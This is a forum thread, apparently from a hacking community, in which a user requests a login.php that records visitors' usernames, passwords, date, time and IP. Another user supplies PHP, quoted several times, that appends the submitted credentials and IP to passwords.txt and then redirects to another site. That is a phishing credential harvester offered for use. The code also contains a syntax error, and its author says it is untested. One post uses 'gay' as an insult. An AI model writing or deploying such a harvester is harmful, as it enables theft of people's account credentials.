[Request]Login.php
I need a login.php file but one that can store:
Username:
Password:
Date:
Time:
Ip:
and i will give you credits ;D thanks
Username:
Password:
Date:
Time:
Ip:
and i will give you credits ;D thanks
Cyanoxide wrote:it's not the php file that will store the information, it's the database for example MySQL. You would have to start by making a table on your database called users or something like that and then add all the fields you want (username, password, etc.)
TEMPTii wrote:No...
There are codes that you can add to a php file to get date and time and all that jazz. The login.php (in my siggy) can get the IP of users too. I'll have it done when I get home from school, if not now.
<?php
header ('Location: http://www.example.com ');
$newline = "\n"
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . date("d") . "," . date("Y");
$time = date("H:i");
$username = $_POST['username'];
$password = $_POST['password'];
$all = "Username: " . $username . $newline . "Password: " . $password . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $newline;
$handle = fopen("passwords.txt", "a");
fwrite($handle, $all);
fclose($handle) ;
?>
TEMPTii wrote:Sorry for the double post but here's the code:
<?php
header ('Location: http://www.example.com ');
$newline = "\n"
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . date("d") . "," . date("Y");
$time = date("H:i");
$username = $_POST['username'];
$password = $_POST['password'];
$all = "Username: " . $username . $newline . "Password: " . $password . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $newline;
$handle = fopen("passwords.txt", "a");
fwrite($handle, $all);
fclose($handle) ;
?>
That's real sloppy but it should work. I tried to test it but t35 was being gay so it couldn't be tested. Tell me how it is D;
TEMPTii wrote:Sorry for the double post but here's the code:
<?php
header ('Location: http://www.example.com ');
$newline = "\n"
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . date("d") . "," . date("Y");
$time = date("H:i");
$username = $_POST['username'];
$password = $_POST['password'];
$all = "Username: " . $username . $newline . "Password: " . $password . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $newline;
$handle = fopen("passwords.txt", "a");
fwrite($handle, $all);
fclose($handle) ;
?>
That's real sloppy but it should work. I tried to test it but t35 was being gay so it couldn't be tested. Tell me how it is D;
NekRo wrote:That is sloppy, you have no protection on what the user inputs.
TEMPTii wrote:Sorry for the double post but here's the code:
<?php
header ('Location: http://www.example.com ');
$newline = "\n"
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . date("d") . "," . date("Y");
$time = date("H:i");
$username = $_POST['username'];
$password = $_POST['password'];
$all = "Username: " . $username . $newline . "Password: " . $password . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $newline;
$handle = fopen("passwords.txt", "a");
fwrite($handle, $all);
fclose($handle) ;
?>
That's real sloppy but it should work. I tried to test it but t35 was being gay so it couldn't be tested. Tell me how it is D;
